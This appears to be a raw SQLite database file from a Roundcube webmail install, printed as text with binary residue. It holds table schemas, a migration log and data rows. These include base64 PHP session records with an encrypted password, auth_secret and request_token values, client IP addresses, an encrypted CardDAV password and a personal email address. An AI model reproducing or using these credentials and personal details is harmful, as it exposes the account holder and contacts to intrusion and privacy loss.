)h,-'�	indexix_resource_typekolab_folders0CREATE INDEX ix_resource_type ON kolab_folders(resource, type)�+''�qtablekolab_folderskolab_folders/CREATE TABLE kolab_folders (
  folder_id INTEGER NOT NULL PRIMARY KEY,
  resource VARCHAR(255) NOT NULL,
  type VARCHAR(32) NOT NULL,
  synclock INTEGER NOT NULL DEFAULT '0',
  ctag VARCHAR(128) DEFAULT NULL,
  changed DATETIME DEFAULT NULL
)+*?indexsqlite_autoindex_system_1system-o)�9tablesystemsystem,CREATE TABLE system (
  name varchar(64) NOT NULL PRIMARY KEY,
  value text NOT NULL
)
hh��c!3dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event17434806772025-04-01 00:15:57
��u�c	dav://info%40greasetrap.staging-area.xyz@127.0.0.1:2080calendars/info@greasetrap.staging-area.xyz/calendar/event



















��E
�
�
�
�
<	��KK�v��*�H�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contactGN[5indexsqlite_autoindex_kolab_cache_dav_task_1kolab_cache_dav_taskS�|M55�tablekolab_cache_dav_taskkolab_cache_dav_taskRCREATE TABLE kolab_cache_dav_task (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)IL]7indexsqlite_autoindex_kolab_cache_dav_event_1kolab_cache_dav_eventQ�K77�tablekolab_cache_dav_eventkolab_cache_dav_eventPCREATE TABLE kolab_cache_dav_event (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id, uid)
)�J3;�%indexix_contact_type_davkolab_cache_dav_contactOCREATE INDEX ix_contact_type_dav ON kolab_cache_dav_contact(folder_id, type)MIa;indexsqlite_autoindex_kolab_cache_dav_contact_1kolab_cache_dav_contactN�}H;;�tablekolab_cache_dav_contactkolab_cache_dav_contactMCREATE TABLE kolab_cache_dav_contact (
  folder_id INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  etag VARCHAR(128) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  name VARCHAR(255) NOT NULL,
  firstname VARCHAR(255) NOT NULL,
  surname VARCHAR(255) NOT NULL,
  email VARCHAR(255) NOT NULL,
  PRIMARY KEY(folder_id, uid)
)�G95�/indexix_freebusy_uid2msguidkolab_cache_freebusyLCREATE INDEX ix_freebusy_uid2msguid ON kolab_cache_freebusy(folder_id,uid,msguid)GF[5indexsqlite_autoindex_kolab_cache_freebusy_1kolab_cache_freebusyK�{E55�tablekolab_cache_freebusykolab_cache_freebusyJCREATE TABLE kolab_cache_freebusy (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  dtstart DATETIME,
  dtend DATETIME,
  PRIMARY KEY(folder_id,msguid)
)�DC?�Cindexix_configuration_uid2msguidkolab_cache_configurationICREATE INDEX ix_configuration_uid2msguid ON kolab_cache_configuration(folder_id,uid,msguid)�
C7?�+indexix_configuration_typekolab_cache_configurationHCREATE INDEX ix_configuration_type ON kolab_cache_configuration(folder_id,type)QBe?indexsqlite_autoindex_kolab_cache_configuration_1kolab_cache_configurationG�A??�tablekolab_cache_configurationkolab_cache_configurationFCREATE TABLE kolab_cache_configuration (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  type VARCHAR(32) NOT NULL,
  PRIMARY KEY(folder_id,msguid)
)x@1-�indexix_file_uid2msguidkolab_cache_fileECREATE INDEX ix_file_uid2msguid ON kolab_cache_file(folder_id,uid,msguid)v?1-�indexix_folder_filenamekolab_cache_fileCCREATE INDEX ix_folder_filename ON kolab_cache_file(folder_id,filename)?>S-indexsqlite_autoindex_kolab_cache_file_1kolab_cache_fileB�o=--�tablekolab_cache_filekolab_cache_fileACREATE TABLE kolab_cache_file (
  folder_id INTEGER NOT NULL,
  msguid INTEGER NOT NULL,
  uid VARCHAR(512) NOT NULL,
  created DATETIME DEFAULT NULL,
  changed DATETIME DEFAULT NULL,
  data TEXT NOT NULL,
  tags TEXT NOT NULL,
  words TEXT NOT NULL,
  filename varchar(255) DEFAULT NULL,
  PRIMARY KEY(folder_id,msguid)
)x<1-�indexix_note_uid2msguidkolab_cache_note@CREATE INDEX ix_note_uid2msguid ON kolab_cache_note(folder_id,uid,msguid)?;S-indexsqlite_autoindex_kolab_cache_note_1kolab_cache_note?

















�
!f	�g�5C
�!!!�[--�[tablecarddav_contactscarddav_contactsaCREATE TABLE carddav_contacts (
	id           integer NOT NULL PRIMARY KEY,
	abook_id     integer NOT NULL,
	name         VARCHAR(255) NOT NULL, 
	email        VARCHAR(255),          
	firstname    VARCHAR(255),
	surname      VARCHAR(255),
	organization VARCHAR(255),
	showas       VARCHAR(32) NOT NULL DEFAULT '', 
	vcard        TEXT NOT NULL,         
	etag         VARCHAR(255) NOT NULL, 
	uri          VARCHAR(255) NOT NULL, 
	cuid         VARCHAR(255) NOT NULL, 

	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)��mW;%�indexix_kolab_alarms_user_idkolab_alarms]CREATE INDEX ix_kolab_alarms_user_id ON kolab_alarms(user_id)7VK%indexsqlite_autoindex_kolab_alarms_1kolab_alarms\�oU%%�!tablekolab_alarmskolab_alarms[CREATE TABLE kolab_alarms (
  alarm_id VARCHAR(255) NOT NULL,
  user_id INTEGER NOT NULL,
  notifyat DATETIME DEFAULT NULL,
  dismissed TINYINT(3) NOT NULL DEFAULT '0',
  PRIMARY KEY(alarm_id,user_id)
)|T9+�!indexix_itipinvitations_uiditipinvitationsZCREATE INDEX ix_itipinvitations_uid ON itipinvitations(user_id, event_uid)=SQ+indexsqlite_autoindex_itipinvitations_1itipinvitationsYu�R++�mtableitipinvitationsitipinvitationsXCREATE TABLE itipinvitations (
  token varchar(64) NOT NULL PRIMARY KEY,
  event_uid varchar(255) NOT NULL,
  user_id integer NOT NULL default '0',
  event text NOT NULL,
  expires datetime NOT NULL default '1000-01-01 00:00:00',
  cancelled tinyint(1) NOT NULL default '0',
  CONSTRAINT fk_itipinvitations_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)�Q##�itableattachmentsattachmentsWCREATE TABLE attachments (
  attachment_id integer NOT NULL PRIMARY KEY,
  event_id integer NOT NULL default '0',
  filename varchar(255) NOT NULL default '',
  mimetype varchar(255) NOT NULL default '',
  size integer NOT NULL default '0',
  data text NOT NULL default '',
  CONSTRAINT fk_attachment_event_id FOREIGN KEY (event_id)
    REFERENCES events(event_id)
)�JP�otableeventseventsUCREATE TABLE events (
  event_id integer NOT NULL PRIMARY KEY,
  calendar_id integer NOT NULL default '0',
  recurrence_id integer NOT NULL default '0',
  uid varchar(255) NOT NULL default '',
  instance varchar(16) NOT NULL default '',
  isexception tinyint(1) NOT NULL default '0',
  created datetime NOT NULL default '1000-01-01 00:00:00',
  changed datetime NOT NULL default '1000-01-01 00:00:00',
  sequence integer NOT NULL default '0',
  start datetime NOT NULL default '1000-01-01 00:00:00',
  end datetime NOT NULL default '1000-01-01 00:00:00',
  recurrence varchar(255) default NULL,
  title varchar(255) NOT NULL,
  description text NOT NULL,
  location varchar(255) NOT NULL default '',
  categories varchar(255) NOT NULL default '',
  url varchar(255) NOT NULL default '',
  all_day tinyint(1) NOT NULL default '0',
  free_busy tinyint(1) NOT NULL default '0',
  priority tinyint(1) NOT NULL default '0',
  sensitivity tinyint(1) NOT NULL default '0',
  status varchar(32) NOT NULL default '',
  alarms text default NULL,
  attendees text default NULL,
  notifyat datetime default NULL,
  CONSTRAINT fk_events_calendar_id FOREIGN KEY (calendar_id)
    REFERENCES calendars(calendar_id)
)�O�}tablecalendarscalendarsTCREATE TABLE calendars (
  calendar_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL default '0',
  name varchar(255) NOT NULL default '',
  color varchar(255) NOT NULL default '',
  showalarms tinyint(1) NOT NULL default '1',
  driver varchar(255) NOT NULL default 'database',
  CONSTRAINT fk_calendars_user_id FOREIGN KEY (user_id)
    REFERENCES users(user_id)
)







11�LeS�/		!	cPanel CardDAV (cPanel CardDAV Address Book)%l@%d{ENCRYPTED}Cko+eppYvJ/zo3jp0SBGtg==https://127.0.0.1:2080/addressbooks/info@greasetrap.staging-area.xyz/addressbook/h�'1743480677cPCardDAV
���M3'�-d76366c4c2ba713bad44cc81636609e72025-05-05 16:08:39103.162.230.8bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5NjoibGRNbis1K0JzVWFuMmF4SldxR2R5L3Q0eG9nekFueTFqUFRxTjE0QUhuYWliKzM0cTB2OEc4R2FiWjRmZjFqS3JmSFZqZ2F4NGVpbE9ZQ3dabi9nOFhHZnZhT1FqRFhvIjtsb2dpbl90aW1lfGk6MTc0NjQ2MDY5MjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ5RGFqSFU5V2RPMFYyR2ZDSWw5QnkxTUJHNUhJblRtVCI7cmVxdWVzdF90b2tlbnxzOjMyOiJjVDUzdlV0S2d2Zmd6OG1JSHNpaXNpSEh3WUJwMTBmdCI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fWZvbGRlcnN8YTo1OntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjM7czo2OiJtYXh1aWQiO2k6Mzt9czoxMDoiSU5CT1guc3BhbSI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fXM6MTA6IklOQk9YLlNlbnQiO2E6Mjp7czozOiJjbnQiO2k6MTtzOjY6Im1heHVpZCI7aToxO31zOjEyOiJJTkJPWC5EcmFmdHMiO2E6Mjp7czozOiJjbnQiO2k6MDtzOjY6Im1heHVpZCI7aTowO31zOjExOiJJTkJPWC5UcmFzaCI7YToyOntzOjM6ImNudCI7aTowO3M6NjoibWF4dWlkIjtpOjA7fX11bnNlZW5fY291bnR8YTo2OntzOjU6IklOQk9YIjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTA6IklOQk9YLlNlbnQiO2k6MDtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjExOiJJTkJPWC5UcmFzaCI7aTowO3M6MTM6IklOQk9YLkFyY2hpdmUiO2k6MDt9bGlzdF9tb2Rfc2VxfHM6MToiNSI7YnJvd3Nlcl9jYXBzfGE6NTp7czozOiJwZGYiO3M6MToiMSI7czo1OiJmbGFzaCI7czoxOiIwIjtzOjQ6InRpZmYiO3M6MToiMCI7czo0OiJ3ZWJwIjtzOjE6IjEiO3M6NzoicGdwbWltZSI7czoxOiIwIjt9c2FmZV9tZXNzYWdlc3xhOjM6e3M6NzoiSU5CT1g6MSI7YjowO3M6NzoiSU5CT1g6MyI7YjowO3M6NzoiSU5CT1g6MiI7YjowO313cml0ZWFibGVfYWJvb2t8YjoxO1NUT1JBR0VfQUNMfGI6MDtsYXN0X2NvbXBvc2Vfc2Vzc2lvbnxzOjIzOiIxMzEyODQ4ODg2NjgxOGUwNDEwM2E3NCI7


��
�����H
��j�%cJ�[o11�atablecarddav_migrationscarddav_migrationsmCREATE TABLE "carddav_migrations" (
	id integer NOT NULL PRIMARY KEY,
	filename TEXT NOT NULL,
	processed_at TIME NOT NULL DEFAULT CURRENT_TIMESTAMP,

	UNIQUE(filename)
)CeW1indexsqlite_autoindex_carddav_group_user_1carddav_group_userlG";iO)indexsqlite_autoindex_carddav_groups_2carddav_groupso;hO)indexsqlite_autoindex_carddav_groups_1carddav_groupsn�g))�atablecarddav_groupscarddav_groups`CREATE TABLE "carddav_groups" (
	id       integer NOT NULL PRIMARY KEY,
	abook_id integer NOT NULL,
	name VARCHAR(255) NOT NULL, 
	vcard TEXT,        
	etag VARCHAR(255), 
	uri  VARCHAR(255), 
	cuid VARCHAR(255), 
	
	UNIQUE(uri,abook_id),
	UNIQUE(cuid,abook_id),

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE
)�a_//�qtablecarddav_xsubtypescarddav_xsubtypesfCREATE TABLE carddav_xsubtypes (
	id       integer NOT NULL PRIMARY KEY,
	typename VARCHAR(128) NOT NULL,  
	subtype  VARCHAR(128) NOT NULL,  
	abook_id integer NOT NULL,

	
	FOREIGN KEY(abook_id) REFERENCES carddav_addressbooks(id) ON DELETE CASCADE ON UPDATE CASCADE,
	UNIQUE(typename,subtype,abook_id)
)A`U/indexsqlite_autoindex_carddav_xsubtypes_1carddav_xsubtypesg�^G-�indexcarddav_contacts_abook_id_idxcarddav_contactseCREATE INDEX carddav_contacts_abook_id_idx ON carddav_contacts(abook_id)`�xq55�tablecarddav_addressbookscarddav_addressbooks^CREATE TABLE "carddav_addressbooks" (
	id           integer NOT NULL PRIMARY KEY,
	name         TEXT NOT NULL,
	username     TEXT NOT NULL,
	password     TEXT NOT NULL,
	url          TEXT NOT NULL,
	active       TINYINT UNSIGNED NOT NULL DEFAULT 1,
	user_id      integer NOT NULL,
	last_updated BIGINT NOT NULL DEFAULT 0,  
	refresh_time INT NOT NULL DEFAULT 3600, 
	sync_token   TEXT NOT NULL DEFAULT '', 

	presetname   TEXT,                  

	use_categories TINYINT NOT NULL DEFAULT 0,

	
	FOREIGN KEY(user_id) REFERENCES users(user_id) ON DELETE CASCADE ON UPDATE CASCADE
)?]S-indexsqlite_autoindex_carddav_contacts_2carddav_contactsd?\S-indexsqlite_autoindex_carddav_contacts_1carddav_contactsc�CpW1indexsqlite_autoindex_carddav_migrations_1carddav_migrationsr�
mK1�%indexcarddav_group_user_group_id_idxcarddav_group_userpCREATE INDEX carddav_group_user_group_id_idx ON carddav_group_user(group_id)�lO1�-indexcarddav_group_user_contact_id_idxcarddav_group_userjCREATE INDEX carddav_group_user_contact_id_idx ON carddav_group_user(contact_id)zkC)�indexcarddav_groups_abook_id_idxcarddav_groupsiCREATE INDEX carddav_groups_abook_id_idx ON carddav_groups(abook_id)�jI/�!indexcarddav_xsubtypes_abook_id_idxcarddav_xsubtypeshCREATE INDEX carddav_xsubtypes_abook_id_idx ON carddav_xsubtypes(abook_id)�nd11�tablecarddav_group_usercarddav_group_userkCREATE TABLE carddav_group_user (
	group_id   integer NOT NULL,
	contact_id integer NOT NULL,

	PRIMARY KEY(group_id,contact_id),

	
	FOREIGN KEY(group_id) REFERENCES carddav_groups(id) ON DELETE CASCADE ON UPDATE CASCADE,
	FOREIGN KEY(contact_id) REFERENCES carddav_contacts(id) ON DELETE CASCADE ON UPDATE CASCADE
)










���~H��|R!
�
�
�
E

��4G30016-increasetextfieldlengths2025-04-01 04:11:31/=30015-fixmysqlconstraints2025-04-01 04:11:316K30014-unifytimestampdefaultvalue2025-04-01 04:11:31>[30013-changemysqlcollationscasesensitive2025-04-01 04:11:31/
=30012-fixmysqlconstraints2025-04-01 04:11:313E30011-unifymigrationsidcolumn2025-04-01 04:11:314G30010-increasetextfieldlengths2025-04-01 04:11:31/
=30009-dropauthschemefield2025-04-01 04:11:31(	/30008-unifyindexes2025-04-01 04:11:312C30007-replaceurlplaceholders2025-04-01 04:11:31+530006-rmgroupsnotnull2025-04-01 04:11:313E30005-changemysqlut8toutf8mb42025-04-01 04:11:314G30004-fixtimestampdefaultvalue2025-04-01 04:11:314G30003-fixtimestampdefaultvalue2025-04-01 04:11:314G30002-increasetextfieldlengths2025-04-01 04:11:31&+30001-categories2025-04-01 04:11:31"#30000-dbinit2025-04-01 04:11:31



���3M3)�e09b20d41296d3b296415ece0379c2e5f2025-04-01 05:23:51103.162.230.10bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo1OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjY6IklOQk9YLiI7aToxO3M6MToiLiI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6OToicHJlZml4X2luIjtzOjY6IklOQk9YLiI7czoxMDoicHJlZml4X291dCI7czo2OiJJTkJPWC4iO31pbWFwX2RlbGltaXRlcnxzOjE6Ii4iO2ltYXBfbGlzdF9jb25mfGE6Mjp7aTowO3M6NjoiSU5CT1guIjtpOjE7YTowOnt9fXVzZXJfaWR8aToxO3VzZXJuYW1lfHM6MzI6ImluZm9AZ3JlYXNldHJhcC5zdGFnaW5nLWFyZWEueHl6IjtzdG9yYWdlX2hvc3R8czo5OiJsb2NhbGhvc3QiO3N0b3JhZ2VfcG9ydHxpOjE0MztzdG9yYWdlX3NzbHxiOjA7cGFzc3dvcmR8czo5Njoibzc3MHliZkVjKzFZTm1CQ2ViWWltdjFxdHNvTzhUbjdvRFYyaUVrbkMzR3BwQytVcThIUG9iOHFlYnlQZEx6b2ovMHNuZSttQU8vcXEzeUVqVXIydkhrRVp5TlBYVE1VIjtsb2dpbl90aW1lfGk6MTc0MzQ4MDY5MTtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjMyOiJ1VjR4dDRpZFlxcnl6Smx4R3BhZHFrSUpoWVlUSER6aiI7cmVxdWVzdF90b2tlbnxzOjMyOiJDOTJpaFlXMlZ4QnpmMTl0MndydHR2c08yY1hSSjdBdSI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czoxMDoiSU5CT1guU2VudCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MTtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO3F1b3RhX2Rpc3BsYXl8czo0OiJ0ZXh0IjtsaXN0X2F0dHJpYnxhOjc6e3M6NDoibmFtZSI7czo4OiJtZXNzYWdlcyI7czoyOiJpZCI7czoxMToibWVzc2FnZWxpc3QiO3M6NToiY2xhc3MiO3M6NDI6Imxpc3RpbmcgbWVzc2FnZWxpc3Qgc29ydGhlYWRlciBmaXhlZGhlYWRlciI7czoxNToiYXJpYS1sYWJlbGxlZGJ5IjtzOjIyOiJhcmlhLWxhYmVsLW1lc3NhZ2VsaXN0IjtzOjk6ImRhdGEtbGlzdCI7czoxMjoibWVzc2FnZV9saXN0IjtzOjE0OiJkYXRhLWxhYmVsLW1zZyI7czoxODoiVGhlIGxpc3QgaXMgZW1wdHkuIjtzOjc6ImNvbHVtbnMiO2E6ODp7aTowO3M6NzoidGhyZWFkcyI7aToxO3M6Nzoic3ViamVjdCI7aToyO3M6Njoic3RhdHVzIjtpOjM7czo2OiJmcm9tdG8iO2k6NDtzOjQ6ImRhdGUiO2k6NTtzOjQ6InNpemUiO2k6NjtzOjQ6ImZsYWciO2k6NztzOjEwOiJhdHRhY2htZW50Ijt9fXVuc2Vlbl9jb3VudHxhOjY6e3M6NToiSU5CT1giO2k6MTtzOjEyOiJJTkJPWC5EcmFmdHMiO2k6MDtzOjEwOiJJTkJPWC5TZW50IjtpOjA7czoxMDoiSU5CT1guc3BhbSI7aTowO3M6MTE6IklOQk9YLlRyYXNoIjtpOjA7czoxMzoiSU5CT1guQXJjaGl2ZSI7aTowO31TVE9SQUdFX0FDTHxiOjA7bGFzdF9jb21wb3NlX3Nlc3Npb258czoyMzoiMTE0NjM3MTA4MTY3ZWI2NzdhZGZlZDkiO2ZvbGRlcnN8YToyOntzOjU6IklOQk9YIjthOjI6e3M6MzoiY250IjtpOjE7czo2OiJtYXh1aWQiO2k6MTt9czoxMDoiSU5CT1guU2VudCI7YToyOntzOjM6ImNudCI7aToxO3M6NjoibWF4dWlkIjtpOjE7fX1saXN0X21vZF9zZXF8czoxOiIyIjtTVE9SQUdFX1FSRVNZTkN8YjoxO2Jyb3dzZXJfY2Fwc3xhOjU6e3M6MzoicGRmIjtzOjE6IjEiO3M6NToiZmxhc2giO3M6MToiMCI7czo0OiJ0aWZmIjtzOjE6IjAiO3M6NDoid2VicCI7czoxOiIxIjtzOjc6InBncG1pbWUiO3M6MToiMCI7fXNhZmVfbWVzc2FnZXN8YToxOntzOjEyOiJJTkJPWC5TZW50OjEiO2I6MDt9d3JpdGVhYmxlX2Fib29rfGI6MTs=

�����wV=����^:
�!G0016-increasetextfieldlengths=0015-fixmysqlconstraints#K0014-unifytimestampdefaultvalue+[0013-changemysqlcollationscasesensitive=0012-fixmysqlconstraints
 E0011-unifymigrationsidcolumn!G0010-increasetextfieldlengths=0009-dropauthschemefield
/0008-unifyindexes	C0007-replaceurlplaceholders50006-rmgroupsnotnull E0005-changemysqlut8toutf8mb4!G0004-fixtimestampdefaultvalue!G0003-fixtimestampdefaultvalue!G0002-increasetextfieldlengths+0001-categories#	0000-dbinitgreasetrap.staging-area.xyz/info.rcube.db.1748926699000060000001620000151075366460015553 0ustar00SQLite format 3@  &r]&.�@�b�����V[DN.:'
00�MM33�iinfo@greasetrap.staging-area.xyzlocalhost2025-04-01 04:11:312025-05-05 15:58:12en_USa:3:{s:11:"client_hash";s:16:"XFCIw3877gUJKZMJ";s:9:"junk_mbox";s:10:"INBOX.spam";s:15:"namespace_fixed";b:1;}
��-M	info@greasetrap.staging-area.xyzlocalhost


��*	3/2025-04-01 04:11:31Imported Contacts
��		



��F	3/C	2025-04-01 04:11:54Anik.hasan04 2024anik.hasan04.2024@gmail.com
�� 		C	anik.hasan04.2024@gmail.com
��@
	3	

M


2025-04-01 04:11:31info@greasetrap.staging-area.xyz
��		
��$M	info@greasetrap.staging-area.xyz

	�Fc
���
/	��	h4��-�F�~�KtableresponsesresponsesCREATE TABLE responses (
  response_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  name varchar(255) NOT NULL,
  data text NOT NULL,
  is_html tinyint NOT NULL default '0'
)d3!�indexix_identities_emailidentitiesCREATE INDEX ix_identities_email ON identities(email, del)j
7!�	indexix_identities_user_ididentitiesCREATE INDEX ix_identities_user_id ON identities(user_id, del)�u!!�5tableidentitiesidentities
CREATE TABLE identities (
  identity_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  del tinyint NOT NULL default '0',
  standard tinyint NOT NULL default '0',
  name varchar(128) NOT NULL default '',
  organization varchar(128) default '',
  email varchar(128) NOT NULL default '',
  "reply-to" varchar(128) NOT NULL default '',
  bcc varchar(128) NOT NULL default '',
  signature text NOT NULL default '',
  html_signature tinyint NOT NULL default '0'
)�I3�Oindexix_collected_addresses_user_idcollected_addressesCREATE UNIQUE INDEX ix_collected_addresses_user_id ON collected_addresses(user_id, "type", email)�~
33�#tablecollected_addressescollected_addressesCREATE TABLE collected_addresses (
  address_id integer NOT NULL PRIMARY KEY,
  user_id integer NOT NULL
    REFERENCES users (user_id) ON DELETE CASCADE ON UPDATE CASCADE,
  changed datetime NOT NULL default '0000-00-00 00:00:00',
  name varchar(255) NOT NULL default '',
  email varchar(255) NOT NULL,
  "type" integer NOT NULL
)�	O3�1indexix_contactgroupmembers_contact_idcontactgroupmembers
CREATE INDEX ix_contactgroupmembers_contact_id ON contactgroupmembers (contact_id)�33�]tablecontactgroupmemberscontactgroupmembersCREATE TABLE contactgroupmembers (
  contactgroup_id integer NOT NULL
    REFERENCES contactgroups(contactgroup_id) ON DELETE CASCADE ON UPDATE CASCADE,
  contact_id integer NOT NULL
    REFERENCES contacts(contact_id) ON DELETE CASCADE ON UPDATE CASCADE,
  created datetime NOT NULL default '0000-00-00 00:00:00',
  PRIMARY KEY (contactgroup_id, contact_id)
